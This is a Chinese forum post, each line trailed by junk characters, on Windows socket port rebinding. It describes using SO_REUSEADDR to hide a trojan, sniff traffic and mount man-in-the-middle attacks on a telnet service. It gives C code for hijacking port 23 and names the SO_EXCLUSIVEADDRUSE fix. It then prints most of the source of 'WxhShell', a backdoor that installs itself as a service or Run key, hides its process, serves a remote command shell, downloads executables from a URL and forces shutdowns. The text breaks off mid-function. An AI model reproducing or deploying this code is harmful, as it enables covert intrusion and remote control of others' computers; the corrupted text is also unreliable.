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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Urm(A9|N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =b3<}]  
[r1\FF@v,  
  saddr.sin_family = AF_INET; (K kqyrb  
P#KT lH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]D>\Z(b  
{us#(4O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I~M@v59C  
uw&p)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b9 l%5a  
p ^I#9(PT  
  这意味着什么?意味着可以进行如下的攻击: XJ1<!tl  
0@jhNtL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Eye.#~  
^hwTnW9Z1:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !y;xt?  
=W'{xG}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $0 ~_)$i :  
8{%[|Ye  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =.q8*7UY  
U'xmn$ O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LyT[  
w"FBJULzn9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V%w]HIhq  
G4K3qD#+H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KZsJ_t++!W  
U=KFbL1Q  
  #include fJOA5(  
  #include I#:4H2H6  
  #include R|t.J oP9  
  #include    .^FdO$"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }Lb[`H,}A  
  int main() I(0 *cWO  
  { /: }"Zb  
  WORD wVersionRequested; mRD'@n  
  DWORD ret; ,gbQqoLV  
  WSADATA wsaData; \oV g(J&o  
  BOOL val; y(Ck j"  
  SOCKADDR_IN saddr; s% (|z  
  SOCKADDR_IN scaddr; F */J`l  
  int err; KFn[  
  SOCKET s; `RL n)a  
  SOCKET sc; ]=T-C v=t  
  int caddsize; De:| T8&  
  HANDLE mt; <(dg^;  
  DWORD tid;   YhFd0A?]  
  wVersionRequested = MAKEWORD( 2, 2 ); DH{^9HK  
  err = WSAStartup( wVersionRequested, &wsaData ); 3Ay<2v  
  if ( err != 0 ) { 1usLCG>w{  
  printf("error!WSAStartup failed!\n"); 85]3y%f9  
  return -1; z(_#C s  
  } L{AfrgN  
  saddr.sin_family = AF_INET; nkTu/)or  
   4ROuy+Ms'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YgW 50)q^  
OykYXFv*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *Bm _  
  saddr.sin_port = htons(23); zDx*R3%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ubQZTAx  
  { M*lCoJ  
  printf("error!socket failed!\n"); l5esx#([*R  
  return -1; hV7]/z!d  
  } Dt\rMSjZ9  
  val = TRUE; 7,&M6<~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %Y*]eLT>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,f?+QV\T.  
  { LP- _i}Kq  
  printf("error!setsockopt failed!\n"); ^ woCwW8n  
  return -1; y?@(%PTp  
  } X4Y!Z/b  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =E10j.r  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k9vzxZ%s:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :o+&>z  
6y+}=)J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f?|cQ[#t!\  
  { Hklgf  
  ret=GetLastError(); lD\vq2  
  printf("error!bind failed!\n"); uKE?VNC]  
  return -1; Y+0HC2(o  
  } o/5loV3h  
  listen(s,2); /7[X_)OG  
  while(1) }SZU'lYHoM  
  { t2 0Es  
  caddsize = sizeof(scaddr); HH3Ln+AWg_  
  //接受连接请求 95%QF;h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P!K;`4Ika  
  if(sc!=INVALID_SOCKET) \GEf,%U<K  
  { .*W_;Fo  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4J${gcju  
  if(mt==NULL) I` +%ab  
  { C.Ty\@U  
  printf("Thread Creat Failed!\n"); TM2pE/P  
  break; _q<Ke/  
  }  %kSpMj|  
  } Os>^z@x  
  CloseHandle(mt); )$oboAv#  
  } dD.;P=AP  
  closesocket(s); |\k,qVQ  
  WSACleanup(); .qGfLvx%  
  return 0; (&^k''f  
  }   T(2*P5%&  
  DWORD WINAPI ClientThread(LPVOID lpParam) /_.1f|{B  
  { `@)>5gW&p  
  SOCKET ss = (SOCKET)lpParam; nTQ&nu!  
  SOCKET sc; ! uX0G4  
  unsigned char buf[4096]; |h(05Kbk  
  SOCKADDR_IN saddr; fNnX{Wq  
  long num; 3:~ *cU  
  DWORD val; Lk>o`<*  
  DWORD ret; Y `ySNC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F*rsi7#!pG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R7Z7o4jg  
  saddr.sin_family = AF_INET; [ 30ta<-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S&Szc0-|k  
  saddr.sin_port = htons(23);  8PXjdHR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U+2U#v=<  
  { 8k|&&3_[?  
  printf("error!socket failed!\n"); TQ&1!~L*  
  return -1; Z0#&D&2sV  
  } +u\kTn  
  val = 100; o7=#ye&P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S<nf"oy_K  
  { >pRC$'Usx  
  ret = GetLastError(); 0LD$"0v/C3  
  return -1; PPMAj@B}V  
  } #WqpU.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'Tbdo >y  
  { K);)$8K  
  ret = GetLastError(); <TQ,7M4X  
  return -1; V''?kVJ  
  } .4O~a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `%ulorS  
  { (T 8In  
  printf("error!socket connect failed!\n"); Lh;U2pA  
  closesocket(sc); vp|'Yy(9z  
  closesocket(ss); +L U.QI'  
  return -1; T:!f_mu|  
  } Uy98lv  
  while(1) -50Qy[0."  
  { e]DuV)k&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KJP}0|[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 R8bKE(*rxj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P1qQ)-J  
  num = recv(ss,buf,4096,0); CAa&,ZR  
  if(num>0) U ljWBd  
  send(sc,buf,num,0); %Kzu&*9Hb  
  else if(num==0) yE{\]j| Zf  
  break; %n@ ^$&,&;  
  num = recv(sc,buf,4096,0); 5hj _YqQ7  
  if(num>0) F_.1^XM  
  send(ss,buf,num,0); $w+()iI  
  else if(num==0) /CXQ&nwY9=  
  break; Dt:NBN  
  } \&\U&^?  
  closesocket(ss); 6]NaP_\0  
  closesocket(sc); w`I+ 4&/h  
  return 0 ; 1A}#j  
  } Mi)h<lY  
Dp-j(F  
;Z.sK-NJ4  
========================================================== ^y.|KA3[  
jp880}  
下边附上一个代码,,WXhSHELL M4)Y%EPc  
;pt.)5  
========================================================== S{jm4LZ  
^GnR1.ux  
#include "stdafx.h" $[0\Th  
{J*|)-eAw  
#include <stdio.h> p}p}!M|  
#include <string.h> ijACfl{!:t  
#include <windows.h> nSp OTQ  
#include <winsock2.h> B|ctauJ  
#include <winsvc.h> y<kg;-& 8  
#include <urlmon.h> JH._/I  
2sYz$ZGC"#  
#pragma comment (lib, "Ws2_32.lib") I{i6e'.jP  
#pragma comment (lib, "urlmon.lib") I#/"6%e  
m:Fdgu9  
#define MAX_USER   100 // 最大客户端连接数 <9]J/w+  
#define BUF_SOCK   200 // sock buffer NtNCt;_R7  
#define KEY_BUFF   255 // 输入 buffer zmFS]IOv$  
&2r[4  
#define REBOOT     0   // 重启 49=L9:  
#define SHUTDOWN   1   // 关机 B&AF(e (  
>{[  
#define DEF_PORT   5000 // 监听端口 r0s(MyI  
S2 MJb  
#define REG_LEN     16   // 注册表键长度 f h:wmc'  
#define SVC_LEN     80   // NT服务名长度 { g4`>^;  
9^E!2CJ  
// 从dll定义API ,V[|c$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @<koL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l[^0Ik-G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KG GJ\r6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <B!DwMk;.  
UAGh2?q2  
// wxhshell配置信息 C=t9P#g*.  
struct WSCFG { 5| Oj\L{  
  int ws_port;         // 监听端口 v oO7W"  
  char ws_passstr[REG_LEN]; // 口令 q4g)/x%nc  
  int ws_autoins;       // 安装标记, 1=yes 0=no  v> s,*  
  char ws_regname[REG_LEN]; // 注册表键名 9W&nAr  
  char ws_svcname[REG_LEN]; // 服务名  |CAMdU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :mhO/Bx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?kS#g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pJIJ"o'>.9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Js^(mRv=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {s{+MbD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gHFQs](G.  
mV+9*or  
}; DGg1TUE  
Rm`P.;%  
// default Wxhshell configuration ^fE8|/]nG9  
struct WSCFG wscfg={DEF_PORT, ;]k\F  
    "xuhuanlingzhe", $4Dr +Z H  
    1, 3R)|DGql=1  
    "Wxhshell", Y$9x !kV  
    "Wxhshell", O;|jLf_If  
            "WxhShell Service", DB}v..  
    "Wrsky Windows CmdShell Service", *BvdL:t  
    "Please Input Your Password: ", S VypR LVB  
  1, #Jt1AV  
  "http://www.wrsky.com/wxhshell.exe", @>&b&uj7T  
  "Wxhshell.exe" 0`Uw[Er&  
    }; t{,e{oZx  
!?lvmq  
// 消息定义模块 J:OP*/@='  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )G-u;1rd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wiw~oXo  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >!%+9@a}  
char *msg_ws_ext="\n\rExit."; B>c2 *+Bk  
char *msg_ws_end="\n\rQuit."; Q(O0z3b  
char *msg_ws_boot="\n\rReboot..."; +VL:O]`DJ  
char *msg_ws_poff="\n\rShutdown..."; y`z4S,  
char *msg_ws_down="\n\rSave to "; ,L4zhhl!_  
Yhjv[9  
char *msg_ws_err="\n\rErr!"; (?ULp{VPFl  
char *msg_ws_ok="\n\rOK!"; Xka+1c  
*j=58d`n  
char ExeFile[MAX_PATH]; Nw(hN+_u  
int nUser = 0; ) I(9qt>Y  
HANDLE handles[MAX_USER]; 2vhP'?;K  
int OsIsNt; 5,-:31(j\  
brG!TJ   
SERVICE_STATUS       serviceStatus; \UX9[5|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [WV&Y,E  
hQ@#h`lS  
// 函数声明 6:AEg  
int Install(void); F_I!qcEQ  
int Uninstall(void); k~I]Y,  
int DownloadFile(char *sURL, SOCKET wsh); eI-SWwmv/u  
int Boot(int flag); !b&+2y2i[W  
void HideProc(void); #,97 ]  
int GetOsVer(void); K;w2qc.+  
int Wxhshell(SOCKET wsl); pjQyN|KS  
void TalkWithClient(void *cs); q8n@fi6  
int CmdShell(SOCKET sock); {:3:GdM6  
int StartFromService(void); %yd(=%)fMB  
int StartWxhshell(LPSTR lpCmdLine); <P/odpmc  
n-{d7haOa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \3"B$Sp|=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LbYIRX  
8@LUL)"  
// 数据结构和表定义 2 |JEGyDS-  
SERVICE_TABLE_ENTRY DispatchTable[] = Dr[;\/|#  
{ `& '{R<cL  
{wscfg.ws_svcname, NTServiceMain}, m)  rVzL  
{NULL, NULL} [zXC\)&!  
}; 7U?#Xi5  
+6$ -"lf  
// 自我安装 T>7N "C  
int Install(void) !uO@4]:Y  
{ 6 VuyKt  
  char svExeFile[MAX_PATH]; M d8(P23hS  
  HKEY key; KUK.;gG*Z  
  strcpy(svExeFile,ExeFile); &/-MUKN  
!]E ]Xd<  
// 如果是win9x系统,修改注册表设为自启动 G 9 (*F  
if(!OsIsNt) { ~WORC\kCW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r!O[|h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >d&0a:  
  RegCloseKey(key); q@O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w!v^6[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /U0Hk>$~(  
  RegCloseKey(key);  ;(J&%  
  return 0; ~d1=_p:~T  
    } i+_=7(e  
  } =:xX~,qmv  
} 6({)O1Z  
else { x}Lj|U$r<X  
v\MQ?VC  
// 如果是NT以上系统,安装为系统服务 Q4L=]qc T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nw,.I [  
if (schSCManager!=0) /5z,G r  
{ @$ Nti>  
  SC_HANDLE schService = CreateService r<Z.J/a  
  ( &|}QdbW  
  schSCManager, %'_:#!9  
  wscfg.ws_svcname, Z 4i5,f  
  wscfg.ws_svcdisp, qg1\ABH  
  SERVICE_ALL_ACCESS, , V,Q(!$F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !g6=/9  
  SERVICE_AUTO_START, /W-ges  
  SERVICE_ERROR_NORMAL, =nc;~u|]  
  svExeFile, 3c7i8b$  
  NULL, je2"D7D  
  NULL, q~5zv4NX  
  NULL, LyNmn.nN  
  NULL, "crp/Bj?  
  NULL ]\A=[T^  
  ); !OQ5AF$  
  if (schService!=0) WcS`T?Xa  
  { +9|0\Q  
  CloseServiceHandle(schService); 8>LDo"<  
  CloseServiceHandle(schSCManager); tP*GYWI48  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vy[xu$y  
  strcat(svExeFile,wscfg.ws_svcname); RSbq<f>BFo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "4Q_F3?_`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8@(?E[&O>  
  RegCloseKey(key); &4}=@'G@  
  return 0; oIx|)[  
    } *QWOW g4w  
  } nw+^@|4  
  CloseServiceHandle(schSCManager); fe`_0lxj  
} Sy1O;RTn`  
} 3h>L0  
c/^jD5U7  
return 1; & fWC-|  
} 3@Fa  
Qc?W;Q+  
// 自我卸载 3RGmmX"?G  
int Uninstall(void) ^0cbN[~/ns  
{ 3)#Nc|  
  HKEY key; `[#id@Z1  
&g5PPQ18  
if(!OsIsNt) { 6)?u8K5%r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l4r >#n\yj  
  RegDeleteValue(key,wscfg.ws_regname); X<Cf y  
  RegCloseKey(key); -ZSN0Xk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y9R%%i  
  RegDeleteValue(key,wscfg.ws_regname); 3Og}_  
  RegCloseKey(key); ZYY2pY 1  
  return 0; x*'H@!!G  
  } Fp@>(M#3  
} +y'2 h%>h[  
} oOvQA W8`  
else { *P7/ry^<F  
[?9 `x-Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  dm=?o  
if (schSCManager!=0) Cm%I/4  
{ "]q xjs^3?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uo2k  
  if (schService!=0) =fnBE`Uc  
  { Haktr2I  
  if(DeleteService(schService)!=0) { 9{Etv w  
  CloseServiceHandle(schService); 6.KEe^[-  
  CloseServiceHandle(schSCManager); D QxuV1  
  return 0; ]4[%Sv6]G  
  } D^m2iW;  
  CloseServiceHandle(schService); NNqvjM-  
  } ;Bz| hB{  
  CloseServiceHandle(schSCManager); ~BuBma_   
} Lhux~,EH  
} ~!PWJ~U  
e CN:  
return 1; fw,,cu`YA  
} nM.g8d K  
.(cpYKFX  
// 从指定url下载文件 }cCIYt\RK  
int DownloadFile(char *sURL, SOCKET wsh) Zv9JkY=+@  
{ E8#aE\'t  
  HRESULT hr; /"k[T  
char seps[]= "/"; bK0(c1*a[e  
char *token; +CdUr~6  
char *file; =gJ{75tV3  
char myURL[MAX_PATH]; fUWrR1  
char myFILE[MAX_PATH]; o jxK8_kl  
]nRf%Vi8g  
strcpy(myURL,sURL); P,)D0i  
  token=strtok(myURL,seps); <^5$))r  
  while(token!=NULL) `~=z0I  
  { ."BXA8c;A  
    file=token; 2%R.~9HtA  
  token=strtok(NULL,seps); g.`Ntsi$wI  
  } ,T zlW\?\  
GU/P%c/V  
GetCurrentDirectory(MAX_PATH,myFILE); Os>&:{D4!  
strcat(myFILE, "\\"); &gS-.{w "  
strcat(myFILE, file); VUUnB<j  
  send(wsh,myFILE,strlen(myFILE),0); %SIll  
send(wsh,"...",3,0); )Z/w|5<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); viYrPhH+z  
  if(hr==S_OK) PZJn/A1  
return 0; psIo[.$rTk  
else 4V,p\$;  
return 1; r7_%t_O|IL  
W>+`e]z  
} "wZvr}xk  
s=jH1^  
// 系统电源模块 yZp/P%y  
int Boot(int flag) %Ul,9qG+  
{ -:=m-3*Tg  
  HANDLE hToken; .K4)#oC  
  TOKEN_PRIVILEGES tkp; ,Il) tH  
U%@C<o "  
  if(OsIsNt) { F?a 63,r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7\g#'#K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eA]8M^  
    tkp.PrivilegeCount = 1; A*+gWn,4Y_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BH}Cx[n?~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =BR+J9  
if(flag==REBOOT) { .3_u5N|[=W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ue;Z)}  
  return 0; 1|G\&T   
} ~QUNR?h  
else { F%lC%~-qh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rt*>)GI]b  
  return 0; Io IhQ  
} .UX4p =  
  } +Z_VF30pa  
  else { g.62XZF@  
if(flag==REBOOT) { )n9,?F#l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,37<F XX,  
  return 0; &J9 + 5L8  
} =w!9:I&a0  
else { [x, `)Fk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FhBV.,bU,m  
  return 0; 1]0;2THx  
} KCZ<#ca^  
}  <{ v %2  
)AcevEHB  
return 1; $E;Tj|W  
} r~QE}00@^  
54WX#/<Yik  
// win9x进程隐藏模块 ()Wu_Q  
void HideProc(void) ] FvGAG.*  
{ v \; /P  
LTA0WgzR)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )+,h}XqlX  
  if ( hKernel != NULL ) .C+(E@eyA  
  { Fo ;J3<U)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nW\W<[O9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4|Y1W}!0/  
    FreeLibrary(hKernel); H*N{4zBB  
  } 6~{'\Z  
|XNw&X1VF  
return; rk;]7Wu  
} T]/>c  
|}YxxeAk  
// 获取操作系统版本 *+6iXMwe  
int GetOsVer(void) UNv!G/i-5  
{ dOaCdnd~  
  OSVERSIONINFO winfo; e87a9ZPm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gi@c`lRd1  
  GetVersionEx(&winfo); E|RC|Sz=u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KC:6^h'.  
  return 1; 5f0g7w =-  
  else #J5_z#-Q;  
  return 0; %`]!atH  
} R@Gll60  
B2LXF3#/  
// 客户端句柄模块 v}AjW%rB  
int Wxhshell(SOCKET wsl) '+iLW~   
{ D ZZRu8~  
  SOCKET wsh; wm ?%&V/#  
  struct sockaddr_in client; - 3PLP$P  
  DWORD myID; x11riK  
0SIUp/.  
  while(nUser<MAX_USER) a ^juZ  
{ !:esdJH  
  int nSize=sizeof(client); \3K7)o^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3'A0{(b  
  if(wsh==INVALID_SOCKET) return 1; *M#L)c;6  
@ %q>Jd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;0?OBUDO  
if(handles[nUser]==0) N. nGez  
  closesocket(wsh); /<+`4n  
else 4 eSFpy1  
  nUser++; cud9oJ-=;  
  } {wz_ngQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KC(z TY  
<*u^8lCA  
  return 0; H~Uy/22aQy  
} fsnZHL}=n  
'<ZHzDW@  
// 关闭 socket 8s[1-l  
void CloseIt(SOCKET wsh) a{JO8<dlm  
{ tgl 4pAc  
closesocket(wsh); b<"jmB{  
nUser--; DYgB_Iak  
ExitThread(0); .O#7X  
} yUxz,36wZ  
yn<J>e  
// 客户端请求句柄 uKD }5M?{  
void TalkWithClient(void *cs) 1_c%p#?K  
{ $o$WFV+h  
oj'YDQ^uj  
  SOCKET wsh=(SOCKET)cs; WT1y7+_g(d  
  char pwd[SVC_LEN]; 7#9%,6Yi  
  char cmd[KEY_BUFF]; 4UzXTsjM7  
char chr[1]; \\Q){\S  
int i,j; Y}Y~?kE>M|  
^mC,Z+!  
  while (nUser < MAX_USER) { V3a6QcG  
yA_ly <  
if(wscfg.ws_passstr) { = 8y,7u)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D~M R)z_p~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EQ :>]O  
  //ZeroMemory(pwd,KEY_BUFF); |68/FJZ,5  
      i=0; e:.?T\  
  while(i<SVC_LEN) { K3 ,PmI&W  
Iu >4+6  
  // 设置超时 y>gw@+  
  fd_set FdRead; :7dc;WdM  
  struct timeval TimeOut; 8]1,EE<  
  FD_ZERO(&FdRead); WQD:~*C:  
  FD_SET(wsh,&FdRead); JV'aqnb.8\  
  TimeOut.tv_sec=8; mieyL9*n7  
  TimeOut.tv_usec=0; \$ss  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y"U)&1 c%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V3d$C&<(  
BD86t[${W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); koD}o^U#  
  pwd=chr[0]; ~3f|-%Z  
  if(chr[0]==0xd || chr[0]==0xa) { [/ertB  
  pwd=0; e-\/1N84  
  break; oj)(.X<8N  
  } PCV#O63[  
  i++; }4h0 {H  
    } PDCb(5  
MEp{&#v|1  
  // 如果是非法用户,关闭 socket Ld/6{w4ir  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *">CEQ[MT  
} Hr!$mf)h  
WXDo`_{R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r ) _*MPY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #5'@at'1  
pLV %g#h  
while(1) { rX>b R/  
`ah|BV  
  ZeroMemory(cmd,KEY_BUFF); H=g%>W%3  
ki/Cpfq40*  
      // 自动支持客户端 telnet标准   A,=> |&*  
  j=0; @7.7+blS"H  
  while(j<KEY_BUFF) { @EyB^T/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tm2lxt  
  cmd[j]=chr[0]; k_zn>aR$F  
  if(chr[0]==0xa || chr[0]==0xd) { ^yq}>_  
  cmd[j]=0; d%epM5  
  break; #<Xq\yC51  
  } M*Ej*#  
  j++; 3 v.8  
    } >w,jaQ  
0( A  ?&  
  // 下载文件 (c^ {T)  
  if(strstr(cmd,"http://")) { 6akI5\b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b09xf"D  
  if(DownloadFile(cmd,wsh)) ',t*:GBZCf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |0}7/^  
  else J:&.[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0chpC)#Q3;  
  } tY!l}:E[  
  else { -;&I S  
W83PMiN"T-  
    switch(cmd[0]) { jWi~Q o+  
  X"r.*fb;N  
  // 帮助 %Q &']  
  case '?': { bDJ!Fc/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r Dlu&  
    break; 5y\35kT'  
  } Dc$q0|N=z  
  // 安装 cg17e  
  case 'i': { Dykh|"  
    if(Install()) ^" 54Q^SH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _X;,,VEV!  
    else ~_ZK93o(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J@E]Fl  
    break; @fp@1n  
    } xRhGBb{@s  
  // 卸载 ^v cnDi  
  case 'r': { E QU@';~8  
    if(Uninstall()) ?Fn y_{&^H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pV  u[  
    else a3\~AO H%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R%\3[  
    break; 7vFmB  
    } n_RZ:<Gr  
  // 显示 wxhshell 所在路径 _|0#  
  case 'p': { |9]-_a  
    char svExeFile[MAX_PATH];  p#]9^oA  
    strcpy(svExeFile,"\n\r"); R+(f~ j'  
      strcat(svExeFile,ExeFile); @<pd@Mpf]  
        send(wsh,svExeFile,strlen(svExeFile),0); L FJ@4]%V  
    break; ecz-jZ! `  
    } wzd(= *N  
  // 重启 IE996   
  case 'b': { ]1d)jWG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o4EY2  
    if(Boot(REBOOT)) y'odn ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #t(/wa4  
    else { Cy6!?Mik  
    closesocket(wsh); ;7?oJH;  
    ExitThread(0);  ArAe=m!u  
    } JkT!X  
    break; $fD%18  
    } ro<w8V9.a  
  // 关机 $poIWJMc  
  case 'd': { OhCdBO  
